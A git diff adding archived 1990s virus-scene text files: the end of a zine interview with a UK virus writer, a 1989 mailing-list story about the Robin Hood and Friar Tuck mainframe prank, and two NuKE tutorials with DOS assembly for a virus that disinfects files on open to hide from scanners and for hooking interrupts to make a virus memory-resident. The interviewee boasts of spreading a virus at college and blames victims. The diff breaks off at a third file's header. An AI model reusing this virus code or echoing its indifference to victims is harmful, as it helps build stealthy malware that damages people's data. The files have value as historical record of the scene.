+ +TU> What makes the tunneling code in ART so special you think? Isn't it a waste + of bytes to use as much as 1407 bytes for tracing interrupts? + +RA> Yes, consider this: you program a virus that uses ART (1407 bytes), regular + code to infect COM and EXE files (maybe 400 bytes), bootsector and + partition record infection (512 bytes in every case) and some stealth and a + polymorphic engine (larger than 1024 bytes for sure). That will make a + *huge* virus! + +TU> Yea, but was that really an answer to my question? :) + +RA> Let me put it this way. There are far more easier tricks that also work and + that will take at most 400 bytes. I don't care if ART works with DosEmu of + Linux. How many people will use that? I rather write a normal tracer that + detects and skips TBDRIVER in memory. There are a few other monitors that + block tracing, but TBDRIVER is the most common program used, I think. + +TU> Yea, and it only takes about 15 bytes to disable tbdriver anyway, a lot + of viruses does that, but do you consider it a waste of bytes to include + ART for tunneling-stealth? + +RA> Yes, I do. The idea was very nice, but it won't be used by virus writers. I + rather use that 15 byte code you mentioned and then trace to the original + interrupt 21h. + +TU> Yea, ok. It's the same thing as with polymorphic engines; Noone will use + them except for their creators, still Antigen released 2 versions of ART, + but no virus using them. Hmm. Ok, let's go on with something complete + different, shall we? + (* Sidnote: VLAD#5 included a virus of Antigen which used ART, this + interview was though done before vlad5 was released *) + +RA> Uh, OK... (Eddie Murphy intonation (RAW)) + +TU> Ok ;). So, how are you in a private matter? As most news-paper would + describe us (remorsless, rebellion teen with an attitude, a social failure, + a malajusted misfit, a . . . . :)), or ? + +RA> I'm a very quiet person, there aren't many people that like me, because I + don't value properties belonging to someone else. Hence the virus spread on + college. I didn't care if they lost their project because of that. The + only thing I like is an escape from reality, preferably with booze or + role-playing. + +TU> Yea, "rather flee the (insane) reality of today, then facing it" :). So, + how did your parents react when you was kicked out from school? Mine + didn't like that very much I can tell. + +RA> Hmmm. After their divorce they just fight with eachother about the house + and the money and me and don't listen to me anymore. I can't talk things + with them and when they found out I was kicked from school my mother just + said I should not hang out on the streets. + +TU> So, your mother wants half? :) + +RA> Half of what? I don't like talking about it, it caused me a lot of pain. + +TU> Uh, (Just a RAW joke, ya'know.. no worries!). Hmm (sorry!), So when did you + start with computers and this sort of things? + +RA> Hmmmm, I don't exactly know at what age I started (I think 12 or so), but I + used a MSX at that time. At college I had to work with PCs, and to buy me + off, my father purchased a computer for me (to get in favor again). Now I + use his present to make viruses HAHAHA! + +TU> You think he would approve? + +RA> I don't know. I never told him and I won't care either. I rather leave my + parents at once and live on my own. + +TU> You seem to say "I don't care" often :) + +RA> Why should I care about something if nobody cares about me? + +TU> Probably because people only will care about you if you care about them + in the first place? + +RA> I once cared about my parents, you know. But after they divorce they seem + to have forgotten they still had a son. And why should I bother cleaning up + their messy life? But enough about that, let's continue talking about + viruses. + +TU> Sure. How many and which viruses has you written to this day? + +RA> I have written 3 resident EXE viruses, 2 resident companion viruses (one of + them uses interrupt 28h (dos idle) to infect as fast as possible), 2 + non-resident COM infectors (one using RTFM) and a multipartite COM infector + (Andropinis) and now a stealth bootsector virus (Uniform). + +TU> Quite some collection. . . Which virus group did you vote as no #1 as for + VLAD#5, and how does your voting in general look? + +RA> Vote? I didn't get a vote thing! + +TU> Uh, ok, nevermind, it was a voting (kinda who's the best thing concerning + groups, viruses, writers and so forth.. ), but ok, without your result + being published, which group are you in favour of? + +RA> I would rank VLAD as the best, because they are very inventive. The best + virus I saw was Natas, it was very good programmed. + +TU> Ok, now, let's discuss av-programs/persons and so forth so the AVers also + can enjoy this thing, shall we? + +RA> What do you want to discuss about them? You mean if I like some of them + or not, if their program is good or not? Hmmm, I don't like AVers at all, + they all bear some resemblence with Alan Solomon, so I don't wish to talk + to them. The antivirus program I like is TBAV, F-PROT and AVP, the rest is + not interesting, save for spoofing them with a virus. + +TU> I agree you concerning the AV-programs, however I'm afraid that my attitude + towards the AVers somehow has become better during the years - less hostile + and perhaps less agressive as well. Hm, why do you have this + bad-attitude towards AVers that hasn't done anything to you? + +RA> They would if they had the chance to, I don't say I hate them, but I won't + discuss things with them or even talk to them. They won't see me as a + person, but as a virus writer, so I consider talking to them as a waste of + time. + +TU> Ok, what if I was a researcher as well, wouldn't you then talk to me + either? + +RA> I don't like dual edged swords, if you know what I mean. So, then I won't + talk to you. + +TU> Ok, before we continue then, sure I make an anti-virus to one of my own + viruses, but released another better virus in the remover for it, would + that be acceptable? (* This is the Petra-rm story.. *) + +RA> HAHAHA! Why yes, ofcourse it does. Making a remover for a virus doesn't say + you are a researcher, and spreading a virus in it is a great idea. I think + I'll hack McAfees scanner for a virus of mine. + +TU> Yea, that is a great idea I think. But I did a lot of research before + writing that virus, now - isn't that to be a virus-researcher? :) + +RA> Yes, but not acknowledged. With researchers I mean Alan Solomon, Fridrik + Skulason, Frans Veldman etc. + +TU> Yea, AV-researchers that is. Ah well, nevermind. so what makes you think + the AV-programs named above makes them interesting? + +RA> The programs do their job, as supposed to. F-PROT has an accurate + identification, TBAV has pretty good heuristics and AVP has very nice virus + demonstrations in it. + +TU> Any comments about VSUM and Patricia Hoffman? + +RA> HAHAHAHHA!! + +TU> That is suppose to mean that she is the biggest failure in the + community? + +RA> No, not exactly, she made money with it, so she is not a failure. But I + don't value VSUM. + +TU> Because of the oh-so-holy messed up descriptions of 99% of all viruses + included within? + +RA> Yes. I don't know how she manages that. She surpassed me with fucking up + descriptions. I just described Andropinis very well, so she can simply copy + it into her database. I don't like if she messes up descriptions of my + viruses. + +TU> No, who wants his children to be called cripples when they're not? Hmmm :). + +RA> Definitely not me. I think she lost track describing viruses when the rate + of discovered viruses increased rapidly. Hmmm, this turns out to be a whole + conversation instead of an interview, but that's no problem :) + +TU> When the viruses began to increase very rapidly was in 1992 or so I reckon, + was you into viruses back then? + +RA> No, I didn't write viruses, I just collected them. I even bought "The Virus + Clinic" at that time. But he got busted by the beast. + +TU> are you refering Alan Solomon as the beast? + +RA> He is! He just does that to get his face in front of the cameras again and + doesn't give a shit about the rest. + +TU> I agree ;). Hence the articles published in IR#5. Hm, but what do you think + about his program? + +RA> I never seen it, just heard of it. It's supposed to be good, but I can't + judge it. + +TU> Due to the fact that you hate him? + +RA> No, because I don't have his product. I don't hate him, maybe fear him is a + more appropiate word for it. He's one bad motherf*cker. + +TU> Ok, so have you been involved in any other 'underground' activity + than virus-writing? + +RA> I used to hang out often in #hack, but since I started writing viruses I + left that channel to be more secure. I am not affiliated with any other + activities, I just started writing because the UK was too silent. + +TU> Well, not very strange due to the fact that Dr.Solly has succeded in busted + pretty much about every virus-writer in the UK. I think you are the only + english viruswriter left... + +RA> Maybe there are others, I don't know. But I am certainly the only one that + now surfaces, yes. Maybe the fact that I am the only virus writer in the UK + makes me a bit famous. . + +TU> Yea, and maybe this little thought-to-be-an-interview helps? + +RA> I don't know and do not care either. I just felt like talking to you. Maybe + it helps, indeed, and if that's so, it's fine. + +TU> So, how has the 'scene' and viruswriting influent you in real life? + +RA> It did not influent my life at all. Just instead of trading viruses I + started to write them myself. I think that's all. I don't have many + activities beside computing, except for drinking in a pub or so. + +TU> You seem to spend a awful lot of time behind the computer because you can't + find something better to do with your life. You think it's really worth it? + +RA> I spend about 6 hours per day behind the keyboard, and about 5 days a week, + with maybe the exception if there's a good movie on the television. Friday + and Saturday are my "day off". + +TU> Seems to me that your viruswriting is more or less a job than a hobby, is + that right? + +RA> It can't be seen as a job, because it serves no purpose at all. But I have + to stand up, otherwise the United Kingdom will perish in the virus + community. + +TU> Say, so what purpose does a politican serve? + +RA> Our goverment is real fucked up. Have you ever seen them? If they agree to + something they shout "Yeah" and otherwise they make sounds like pigs. + That's also a good description of them, pigs. + +TU> Agreed ;). So what is your opinion about politicans trying to forbid the + creation, spreading and even collecting/possesing of computer viruses? + +RA> That will also include the victims of viruses, not just the underground. + +TU> Yeah, ok - so remove the possesing then, do you think creation of computer- + viruses should be considered a crime in any way whatsoever? + +RA> They just make it illegal because they don't have other good defences. I + think it's stupid. They can't do that, because they can't check everyones + computer. + +TU> Here we go with the clipper-chip again :). Hmmm, but see it as a matter of + principle then - not in any use (like most other laws which only works + theoretically), do you find it wrong or even illegal to create viruses? + +RA> No I think it's perfectly legal to make viruses. What I do on MY computer + is MY business, and not of the government, NSY or Alan Solomon! A law that + is just theorie is also utter useless, because it can't be used then. + +TU> What about spreading? Then the virus is not only on your own computer. + +RA> If people want 'em, they got 'em. If unsuspecting victims get a virus, they + probably did not take the proper defences. If they are ignorant to viruses, + it's their own fucking fault, just like if you fuck without a condom you + might get AIDS. + +TU> I fuck without condoms :). Anyway - people know how to protect themself + against real-life viruses (like aids), but can you really expect everyone + to use bullet-proof anti-virus programs running TSR eating memory, or + people to debug/disasm a program before running them? + +RA> If you fuck without condoms that's your own choice. About users protecting + their systems: they don't have to be ASM experts, just check the incoming + (mostly illegal) programs or use an integrity checker, like the one of + Wolfgang Stiller. That should keep out most of the viruses. + +TU> Still it's viruses that could sneak by his program, does they also deserve + to get struck with a (let's say) destructive virus, slowly corrupting their + data, making them lose their jobs, etc? + +RA> No, then IM (* Integrity Master - TU *) is a ill-designed program and + should be improved. If a virus can sneak past it, it means IM (it's an + example of a CRC program) is not doing it's job right. It's not the fault + of the computer user then. And if he is in deep shit I don't really care, + but they better choose another program then. + +TU> Then who is to blame for them loosing their job (or whatever)? The creator + of the virus who (let's say) uploaded it to a vx-board, the sysop of the + vx-board, the one who downloaded it and runned it on his harddisk, the + person in question who copied a shareware-program from the computer in + question (without knowing it was infected), the author of Integrity Master, + the system administrator who is hired to keep the computers secure and + clean? + +RA> HAHAHA! You won't trick me with questions like that! I am not to blame + whatsoever. The sysop of the vx-bbs can't be blamed, because all his + leechers know it's a virus. If the person that downloaded it runs it on + his own system it's his own fault. The person that copies shareware + and brings it to his work is out of line, but shouldn't lose his job for + that. IM can't be blamed for the man losing his job, only for mal- + functioning. The system administrator can't be blamed for the man losing + his job either, but he is not able to do what he is hired for: securing + the system. + +TU> So, you're saying that noone is to be held responsible for him losing his + job and even the whole fucking corporation being ruined and that it was + all by a fucking coincidende? Like fate as some girl would have put it? + +RA> HO! Now you make another assumtion. Now you say the whole company is + ruined! That the man loses his job is a stupid decision of the staff. That + also causes people not to tell about the infection and even infecting other + computers to stay out of trouble. And who is responsible for Lloyds going + to the edge of ceasing to excist? They had some bad coincidences, and YES, + a virus could be one of them. + +TU> Would you feel sorry if you had written the virus in question? + +RA> Not at all. I really don't care what would happen. I would regret if a + person in a hospital dies for some system fault, but not a company that + spends money from the "Names" and can't even do that right anymore. A + hospital is there to help people, most companies are there to get richer. + +TU> How can one regret something that one never did? :) + +RA> HAHAHA! My child did it, not me! :) You have some point in there. + +TU> Ok, how can you miss something that you never had? + +RA> You won't miss life after you are dead. + +TU> Ugh, are you religious? + +RA> I'm disappointed in religion. My parents married but now you see it doesn't + mean shit. It's just some situation, and can be undone easily, but one of + them got hurt. And that's not my father nor my mother, but me. + +TU> You said above that you didn't want to talk about this incident, what made + you change your mind? + +RA> It just happened. The whole thing made me realise that marriage doesn't + mean shit and that the ritual is a farce. The people that got better of it + was the church and the lawyers. I used to be religious once and went to + church every Sunday. Now I do not anymore, but I still believe. + +TU> Hmmm, on channel #virus religion is quite a well discussed topics, so + why do you believe? I mean it's not that you see any proof from a good + god in today's soceity? + +RA> Who made this world? We weren't able to do that. But we are made in his + own image, that's why I create. But I don't like to discuss religion now, + because then we could chat for hours and hours. + +TU> Ok, let's have some quick discussion about religion anyways :). Then if God + was good and created us (the human beings) from his own image, wouldn't we + be good then as well? Or does this mean that you think mankind is good? + +RA> How can you define good if there is no evil? One cannot excist without the + other. "Good" will lose it's meaning if there's no "evil" to compare with + it. + +TU> Hm, nice words, but personally, I think it's just words invented by + humans to be able to communicate better. Well, if you couldn't compare + bad and good then everything would probably be defined as fucking + perfect even though it wasn't, eh.. Like an Utopia or so. But since we + have completely slitted opinions about this, we might not + discuss this kind of things before we finish this interview. We don't + want to argue, now do we? :). + +RA> We can, but it's out of scope for the interview (it's not that anymore + it's a discussion that became very very large) I think. + +TU> Yea. Ok, let's us then stop talking about such things as religion. + About that little hospital incident above, do you believe in poetical + justice? Like if you die because of your own virus making the computers on + the hospital when you're being operated in useless? + +RA> If that happens I have nothing to worry about anymore. + +TU> Ok, let's say that you instead of died got a nice wheel-chair for the rest + of your life! + +RA> Then I'd rather take my own life, I think. But don't you think you are now + going too abstract??? + +TU> AH, sorry! I usually do :), when I get excited about something. . . . + (* This wasn't ment that I got exited about Rajaat spending his life + in a wheel-chair, btw.. I'm not that sick, really!!!) Hmm, ok, have you + heard of any new virus writing techinques btw? + +RA> Er... I think not. It's now just combining techniques, I think. Maybe some + people will come up with something good, but I can't think of anything new. + +TU> You think all virus-writing techniques for DOS already are invented? + +RA> No, but I just don't know what to expect anymore. + +TU> Ok, I better be going now, something else you wish to say but never had + the oppertunity to say before? + +RA> No, I think I have said what I wanted to say. I just will continue here and + keep NSY (* New Scotland Yard - ED *) busy for a while. + +TU> Any greetings you would like to send out? + +RA> Oh, yeah! I want to greet VLAD and P/S. I think that's all.. Oh, yeah, + ofcourse Immortal Riot! (* Thanks :)) *) + +TU> Not any personal greetings or goto hell messages? + +RA> HAHAHA! Yes, go to hell, Dr. Solomon! And personal greetings to Qark and + Priest, might he ever read this. + +TU> Hmm, okay, nice talking to you, see you around, (don't forget to send me + that virus of yours), and keep up the faith! Taw-Taw :). + +RA> Sure, it was nice talking to you, I'll message you if I spot you again on + IRC, but don't expect me to come to #virus, I better stay out of there, + Hermanni also is there sometimes and maybe there are other researchers + there also. + +TU> Yea, sometimes.. well, as I said, better be going, bye! + +RA> Bye! diff --git a/textfiles.com/virus/robin.hod b/textfiles.com/virus/robin.hod new file mode 100644 index 00000000..b4e26165 --- /dev/null +++ b/textfiles.com/virus/robin.hod @@ -0,0 +1,140 @@ +From R746RZ02@VB.CC.CMU.EDU Fri Mar 3 11:46:50 1989 +To: VIRUS-L@IBM1.CC.LEHIGH.EDU +Date: Fri, 3 Feb 89 04:00:00 EST +Sender: SECURITY Digest +From: AMSTerDamn System +Subject: Viruses and System Security (a story) + +[Ed. reprinted from SECURITY Digest] + +The following story was posted in news.sysadmin recently. + +The more things change, the more they stay the same... + +Back in the mid-1970s, several of the system support staff at Motorola +(I believe it was) discovered a relatively simple way to crack system +security on the Xerox CP-V timesharing system (or it may have been +CP-V's predecessor UTS). Through a simple programming strategy, it was +possible for a user program to trick the system into running a portion +of the program in "master mode" (supervisor state), in which memory +protection does not apply. The program could then poke a large value +into its "privilege level" byte (normally write-protected) and could +then proceed to bypass all levels of security within the file-management +system, patch the system monitor, and do numerous other interesting +things. In short, the barn door was wide open. + +Motorola quite properly reported this problem to XEROX via an official +"level 1 SIDR" (a bug report with a perceived urgency of "needs to be +fixed yesterday"). Because the text of each SIDR was entered into a +database that could be viewed by quite a number of people, Motorola +followed the approved procedure: they simply reported the problem as +"Security SIDR", and attached all of the necessary documentation, +ways-to-reproduce, etc. separately. + +Xerox apparently sat on the problem... they either didn't acknowledge +the severity of the problem, or didn't assign the necessary +operating-system-staff resources to develop and distribute an official +patch. + +Time passed (months, as I recall). The Motorola guys pestered their +Xerox field-support rep, to no avail. Finally they decided to take +Direct Action, to demonstrate to Xerox management just how easily the +system could be cracked, and just how thoroughly the system security +systems could be subverted. + +They dug around through the operating-system listings, and devised a +thoroughly devilish set of patches. These patches were then +incorporated into a pair of programs called Robin Hood and Friar Tuck. +Robin Hood and Friar Tuck were designed to run as "ghost jobs" (daemons, +in Unix terminology); they would use the existing loophole to subvert +system security, install the necessary patches, and then keep an eye on +one another's statuses in order to keep the system operator (in effect, +the superuser) from aborting them. + +So... one day, the system operator on the main CP-V software-development +system in El Segundo was surprised by a number of unusual phenomena. +These included the following (as I recall... it's been a while since I +heard the story): + +- - Tape drives would rewind and dismount their tapes in the middle of a + job. + +- - Disk drives would seek back&forth so rapidly that they'd attempt to + walk across the floor. + +- - The card-punch output device would occasionally start up of itself + and punch a "lace card" (every hole punched). These would usually + jam in the punch. + +- - The console would print snide and insulting messages from Robin Hood + to Friar Tuck, or vice versa. + +- - The Xerox card reader had two output stackers; it could be + instructed to stack into A, stack into B, or stack into A unless a + card was unreadable, in which case the bad card was placed into + stacker B. One of the patches installed by the ghosts added some + code to the card-reader driver... after reading a card, it would flip + over to the opposite stacker. As a result, card decks would divide + themselves in half when they were read, leaving the operator to + recollate them manually. + +I believe that there were some other effects produced, as well. + +Naturally, the operator called in the operating-system developers. They +found the bandit ghost jobs running, and X'ed them... and were once +again surprised. When Robin Hood was X'ed, the following sequence of +events took place: + + !X id1 + + id1: Friar Tuck... I am under attack! Pray save me! (Robin Hood) + id1: Off (aborted) + + id2: Fear not, friend Robin! I shall rout the Sheriff of Nottingham's men! + + id3: Thank you, my good fellow! (Robin) + +Each ghost-job would detect the fact that the other had been killed, and +would start a new copy of the recently-slain program within a few +milliseconds. The only way to kill both ghosts was to kill them +simultaneously (very difficult) or to deliberately crash the system. + +Finally, the system programmers did the latter... only to find that the +bandits appeared once again when the system rebooted! It turned out +that these two programs had patched the boot-time image (the /vmunix +file, in Unix terms) and had added themselves to the list of programs +that were to be started at boot time... + +The Robin Hood and Friar Tuck ghosts were finally eradicated when the +system staff rebooted the system from a clean boot-tape and reinstalled +the monitor. Not long thereafter, Xerox released a patch for this +problem. + +I believe that Xerox filed a complaint with Motorola's management about +the merry-prankster actions of the two employees in question. To the +best of my knowledge, no serious disciplinary action was taken against +either of these guys. + +Several years later, both of the perpetrators were hired by Honeywell, +which had purchased the rights to CP-V after Xerox pulled out of the +mainframe business. Both of them made serious and substantial +contributions to the Honeywell CP-6 operating system development effort. +Robin Hood (Dan Holle) did much of the development of the PL-6 +system-programming language compiler; Friar Tuck (John Gabler) was one +of the chief communications-software gurus for several years. They're +both alive and well, and living in LA (Dan) and Orange County (John). +Both are among the more brilliant people I've had the pleasure of +working with. + +Disclaimers: it has been quite a while since I heard the details of how +this all went down, so some of the details above are almost certainly +wrong. I shared an apartment with John Gabler for several years, and he +was my Best Man when I married back in '86... so I'm somewhat +predisposed to believe his version of the events that occurred. + +- -- +Dave Platt + Coherent Thought Inc. 3350 West Bayshore #205 Palo Alto CA 94303 + + + \ No newline at end of file diff --git a/textfiles.com/virus/rstut001.txt b/textfiles.com/virus/rstut001.txt new file mode 100644 index 00000000..2d2761ab --- /dev/null +++ b/textfiles.com/virus/rstut001.txt @@ -0,0 +1,176 @@ + ************************************* + ** Disinfecting an Infected File ** + ** ** + ** By Rock Steady/NuKE ** + ************************************* + +The BEST advantage a virus can have is `Disinfecting of Fly' as we must +try to basically hide the virus as well as possible! And nowadays Anti- +Virus programs are going crazy. As I remember at the time Npox 2.0 was +developed it would Disinfect every file opened by F-prot and Scan and +when the Scanner found nothing and closed the file to go on to the next +Npox would re-infect them. Truly can cause havoc, As a matter of fact +Frisk didn't like this as I had some `Anti Fuck-Prot' routines and he +added his own routine to open files by Int21h/6C00h, as Npox only +disinfected on Int21h/3Dh, however to make the virus disinfect on +Int21h/6C00h, doesn't require much work, simply to take the ASCIIZ +string at DS:SI and put SI into DX so we have DS:DX pointing to it, +then run this routine. + +The Basic idea on disinfection is this... + -For .COM files + Restore the first 3 bytes original Bytes of the program, these + 3 bytes are usually somewhere inside the virus, and then simply + remove the virus from the end of the .COM file! + We do this by jumping to the end of the COM file and subtracting + the Virus size from the File size and that new value is the + original file size! + NOTE: if you write a virus that its length changes (Polymorphic) + its wise to save the original Filesize to be infected before + hand. + + -For .EXE files & Overlays + This procedure is not different, just that if you changed CS:IP & + SP:SS in the EXE header, simply restore the original values, or to + save time, simple save the Original EXE header (first 1b bytes) in + the virus and right that to the beginning as I did for Npox 2.0 + Then Subtract yourself from the original size and cut it off! + +I will now follow thru the Npox 2.0 virus routine Closely so you can under +stand this process. + +Okay first thing you would want to do is CHECK if this is +If the virus infects COMs & EXEs, do not waste your time looking thru +other extensions, or for tight code you can waste your time and "HOPE" +the `infection' marker will fail! Meaning if the virus uses the seconds +field set to 60 (as Npox) then naturally only INFECTED files will have +a time stamp of 60! And this routine is not needed... + +opening_file: call check_extension ;Check for .COM extension + jnc open_fuck2 ;YES; Jmp & Disinfect + call check_exten_exe ;Check for .EXE extension + jnc open_fuck2 ;YES; Jmp & disinfect + jmp dword ptr cs:[int21] ;Other wise goto DOS + +; At this point the file has an .COM or .EXE extension, so we continue + +open_fuck2: push ax ;Save AX + mov ax,3d02h ;Ready to open + call calldos21 ;Do it! +;NOTE: its important you called Int21h YOURSELF! you CAN NOT do a "Int 21h" +;command, as the virus will intercept it, and will come to this routine +;and it will continue over and over again, Never ending l +;stack gets too big, overwrite the code and the system ja +;in about 2 seconds... + jnc open_fuck1 ;No Error Continue + pop ax ;restore + iret ;Exit + +open_fuck1: push bx + push cx + push dx + push ds + mov bx,ax ;BX=File handler + mov ax,5700h ;Get file TimeStamp + call calldos21 + + mov al,cl ;move seconds into al + or cl,1fh ;Left just seconds + dec cx ;60 Seconds + xor al,cl ;cmp + jnz opening_exit3 ;NOT 60 seconds exit! + + dec cx + mov word ptr cs:[old_time],cx ;Save + mov word ptr cs:[old_date],dx ;Save Date Stamp + + mov ax,4202h ;Goto the End of File + xor cx,cx + xor dx,dx + call calldos21 + + mov cx,dx ;Save the filesize + mov dx,ax ;we will need it later + ;to subtract the virus + push cx ;size fromit... + push dx ;Save it... + +Here now we get the first 3 bytes (for com) or first 1B bytes (EXE header) +in the Nuke Pox virus I save the ORIGINAL first 3 bytes of the .com at +the VERY END! Since the buffer I made was 1B hex bytes, it is able to +hold the EXE header or 3 .com bytes, anyhow the beginning of these +bytes are the last 1B bytes, since its at the end... figure it out where +you saved your 3 bytes or exe header for your virus, or use the Npox +routine... + + sub dx,1Bh ;Subtract 1B bytes from + sbb cx,0 ;the filesize! + mov ax,4200h ;Now our pointer will + call calldos21 ;point to the 1B bytes + ;Where the COM & EXE + ;original bytes are + push cs + pop ds ;CS=DS (for exes) + + mov ah,3fh ;Read them into Buffer + mov cx,1Bh ;1B bytes + mov dx,offset buffer ;to our buffer + call calldos21 + +humm, now we got the original bytes, all we gotta do is write them +back to the file's beginning... + + xor cx,cx ;Goto Beginning of File + xor dx,dx ; + mov ax,4200h + call calldos21 + + mov ah,40h ;Write first three bytes + mov dx,offset buffer ;our buffer + mov cx,1Bh ;1B bytes for EXEs + cmp word ptr cs:[buffer],5A4Dh + je open_exe_jmp ;if EXE file jump + mov cx,3h ;if COM write only 3 bytes +open_exe_jmp: call calldos21 + +We wrote the original file's data back to place, now we need to cut the +virus off from the file, the virus is written at the end of the file, +so all we do is set our file-pointer to EOF - Virus_Size, which gives +us the original file length! + + pop dx ;EOF - Virus_Size + pop cx ;to get ORIGINAL File size + sub dx,virus_size ;subtract virus size + sbb cx,0 + mov ax,4200h + call calldos21 + +Now this is perhaps the "TRICKIEST" part, in order to "CROP" the file, at +our new ptr location, what we do it use does to crop it, by writing 0 +bytes to the new location, DOS will make that new location the NEW +EoF and in result cutting off the virus and deleting its sector in the +fat. + + mov ah,40h ;Write new EOF + xor cx,cx ;Zero Bytes + call calldos21 ;doit + + mov cx,word ptr cs:[old_time] ;Restore file time + mov dx,word ptr cs:[old_date] ;Restore file date + mov ax,5701h + int 21h + + mov ah,3eh ;Close File + call calldos21 + +opening_exit3: pop ds + pop dx + pop cx + pop bx + pop ax + jmp dword ptr cs:[int21] ;Return to DOS... + +ahh, the file is now Disinfected, now we safely return it to DOS and DOS +may now open the file for inspection... + + Rock Steady/NuKE diff --git a/textfiles.com/virus/rstut002.txt b/textfiles.com/virus/rstut002.txt new file mode 100644 index 00000000..e4ef7839 --- /dev/null +++ b/textfiles.com/virus/rstut002.txt @@ -0,0 +1,175 @@ + *********************************** + ** TSR COM infections ** + ** ** + ** By Rock Steady/NuKE ** + *********************************** + + There are several ways to constructed your viruses. Mainly you have those + which are RAM-Resident or better known as a TSR program. And with great + thought we have those which are not RAM-Resident. + + A TSR virus will load into memory and can infect all programs that are + executed by the computer. Such like my AmiLiA virus which will infect all + EXE and COM files that are ran. Anyhow a TSR virus can certainly spread a lot + faster compared to a Non-Resident Virus. Because a NON-Resident Virus will + only infect file each time it is ran. Though the NON-Resident will start + off very slowly infecting the system files but after the virus is in the + system after a number of weeks, it will certainly infect ALL files that are + in the system. Where a TSR virus will USUALLY infect files that are executed. + So that only files that are often executed will be infected. But The TSR + virus can certainly infect A LOT more files than a Non-Resident JUST on the + first Hour! It is out numbered 10 to 1. This is the advantage that all + programmers enjoy and program TSR viruses. I will explain a SIMPLE method of + making your program a TSR one. And it will be as flexible as you want so + that NO ONE can stay you `Stole' this information off Rock Steady. + + Anyhow I will explain the simple Process of Intercepting ROM-Bios + Interrupts and hooking your virus/Program to any Interrupt of your choice. + This method that is being explained is also used ALL the Jerusalem Strains. + And several of the Vacsina Strains. They total up to close to 100+ Viruses + that use this simple way with the TSR Interrupt 27h. Anyhow just because I'm + explaining this method your virus CANNOT be detected because of this TSR + routines because there are routines I DEVELOPED ALONE and will soon to be + release in one of my future virii. Anyhow there are an UNLIMITED amount of + ways to make TSRs so that along as you Develop YOUR OWN routine it will NEVER + get detected as a virus for all you Beginners. And how this routine can be + used in several OTHER utilities not just viruses. + + Beginning... + ~~~~~~~~~~~ + First we must Intercept an Interrupt, Lets say we want our virus to + activate Every TIME the disk I/O is being used we would use INT 13h or + INT 21h. The INT 13h will activate everytime ANY file is opened or Closed + And the INT 21h will activity anytime any file is executed or any INT 21h + functions Like a "DIR" in DOS. If you want you can even hooked your virus + to INT 10h and it may activate when Graphics are displayed, or you can hook + it to the interrupt involved with Printer Functions. Whatever seems to + `EnLighten' you, since we live in a Distressed world, I won't even bother + why we shouldn't hooked them up to just ANY interrupt. + + Anyhow, interrupts use a vector table at the bottom of memory (ROM) to + find out what routine in the ROM Bios to call. So the address for Interrupt + 21h would be located at 0000:0084 and for Interrupt 13h it would be found at + 0000:004Ch. So we can change theses addresses in the vector table. What we + do is we change the vector address to POINT to our virus. So everytime the + Interrupt is called it goes to the vector table and the table tells it to + call our Virus, rather than calling the ROM Bios. But what MUST do + FIRST is save the ORIGINAL Interrupt routine and place that somewhere in + memory. So that our virus will call the Original ROM Bios routine after + executing itself. + + Lets say we hooked our Virus to the INT 13h, which controls all Disk + Activities. So if our Computer users tries to read something from the disk + the Computer will call the INT 13h bios Routines on How To do it. But + instead of finding the INT 13h routines it calls our virus, and the Virus + gets ran, which then our virus does what it has to do, and then runs the + Original INT 13h Routine where-ever it was stored. So it simulates an INT + call to the ROM bios routines. + + ;---------------------------------------------------------------- + ; Sample Program on how to Hook your virus to an Interrupt call. + ;---------------------------------------------------------------- + Code Segment + Assume cs:code,ss:code,ds:code,es:code + Org 100h ; Guess this will be a COM file? Huh? + + + Begin: JMP Bios_Routine + + NOP ; This is just a cheap .COM file that the + NOP ; virus is attached to. Remember you should + NOP ; have the first 3 bytes written in your + INT 20h ; virus. + + OLD_ROM_INT DD ? ;Our Stack to save the OLD Int Address + + ;---------------------------------------------------------------- + ; This Calls the VIRUS and then the simulates the OLD Rom Routine + ;---------------------------------------------------------------- + Virus_Codes PROC FAR + Assume cs:code, ds:nothing + + pushf ; Everytime the ROM-Routine is call this + push ax ; is what happens... Saves the Regesters + push di ; And runs Our Virus... Then it restores + push si ; the regesters and Runs the OLD_ROM Bios + push es ; Routine that was supposed to be ran in + push ds ; the first place... + call The_Virus + pop ds ;NoTe: It's better to SAVE all Regesters and + pop es ; Flags because our Virus WILL ALTER a few + pop si ; And when the Virus leaves control back to the + pop di ; Computer it is EXPECTED to continue where it + pop ax ; It left off... + popf + + pushf ; This `pushf' is NEEDED to act like a simulated + call OLD_ROM_INT ; ROM Bios Interrupt call... + + ret + Virus_Codes ENDP + + ;---------------------------------------------------------------- + ; Put the REAL Virus Codes here... + ;---------------------------------------------------------------- + The_Virus PROC NEAR + ... ; Put your OWN Virus codes here... + ... ; Just make it compatible with our + ... ; Codes... Try to make it small and + ... ; it will take up less space in the + ... ; users' memory. + ... + ... ;NoTe: Try to infect files that are ONLY + ... ; Executed! Rather than each time the INT + ... ; is used... Get it? + RET + The_Virus ENDP + + ;--------------------------------------------------------------- + ; This is the Procedure that SAVE the OLD_ROM Bios in our Virus + ; And places a Call to point to our Virus. Which then Calls the + ; OLD_ROM Bios Routine. So Remember to SAVE it first. + ;--------------------------------------------------------------- + Bios_Routine PROC NEAR + Assume cs:code,ds:code + + mov ah,35h ; This Asks for the interrupt vector! + mov al,13h ; whatever is in AL is what int vector + int 21h ; address you get and is stored in ES:BX + + mov word ptr OLD_ROM_INT,bx ;Save the BX register in our Stack + mov word ptr OLD_ROM_INT[2],es ;And same to the ES Register + + ; Here you SHOULD put a small routine to check if the Interrupt vector has + ; already been changed! For INT 13h this should contain 0000:004Ch the + ; formula for this is (Interrupt # times 4) For INT 21h it is (21hx4)=84h + ; and so on. So if its been changed it means the virus has already changed + ; it! And it `Should' be resident. How ever this is a simple way of doing + ; it. but not always the BEST way... Because any program the hooks to the + ; virus interrupt will fool the virus to think it is already resident. + ; Though this source is NOT for the Professional Virus Programmer like myself + ; because WE KNOW! But for those that are half way there... + + mov ah,25h ; This asks to set a Interrupt vector address! + mov al,13h ; Interrupt # to be set goes in AL + mov dx,offset Virus_Codes ; Sets INT 13h to point to `Virus Code' + int 21h + + mov dx,offset Bios_Routine + int 27h + Bios_Routine ENDP + + ; Anything after this point will not be memory resident. because the end + ; of the resident portion ends at `Bios_Routine' procedure. + + Code ENDS + END Begin + ;----------------------------- EnD ---------------------------------- + + Simple isn't it? Anyhow I tried to make this as simple as possible. I + hope I didn't lose you. Anyhow this is a simple routine that several + TSR virii use. Anyhow, see what that gives you.... + + Rock Steady + NukE / Viral Development Researcher + -PeAcE- diff --git a/textfiles.com/virus/rstut003.txt b/textfiles.com/virus/rstut003.txt new file mode 100644 index 00000000..1a309a47 --- 